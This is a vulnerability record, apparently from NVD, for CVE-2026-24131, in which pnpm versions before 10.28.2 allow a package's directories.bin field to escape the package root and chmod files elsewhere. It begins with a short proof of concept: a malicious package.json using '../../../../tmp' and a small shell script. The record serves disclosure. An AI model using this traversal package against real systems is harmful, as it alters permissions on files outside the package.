CVE-2026-24131

{ "name": "evil-pkg", "version": "1.0.0", "directories": { "bin": "../../../../tmp" } } # Malicious package.json that escapes package directory # When pnpm installs this package, it will chmod 755 files in /tmp # Create a malicious bin file: echo '#!/bin/bash' > evil.sh echo 'echo pwned' >> evil.sh # Place it in the expected location for pnpm to process # pnpm will chmod 755 the file specified by directories.bin

{"cve": {"id": "CVE-2026-24131", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:56.830", "lastModified": "2026-01-28T17:05:46.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch."}, {"lang": "es", "value": "pnpm es un gestor de paquetes. Antes de la versión 10.28.2, cuando pnpm procesa el campo 'directories.bin' de un paquete, utiliza 'path.join()' sin validar que el resultado permanezca dentro de la raíz del paquete. Un paquete npm malicioso puede especificar \"directories\": {\"bin\": \"../../../../tmp\"} para escapar del directorio del paquete, haciendo que pnpm aplique chmod 755 a archivos en ubicaciones arbitrarias. Este problema solo afecta a Unix/Linux/macOS. Windows no se ve afectado ('fixBin' está restringido por 'EXECUTABLE_SHEBANG_SUPPORTED'). La versión 10.28.2 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.28.2", "matchCriteriaId": "BA06266E-E70F-4B2B-AA69-7482EEE8A7A0"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}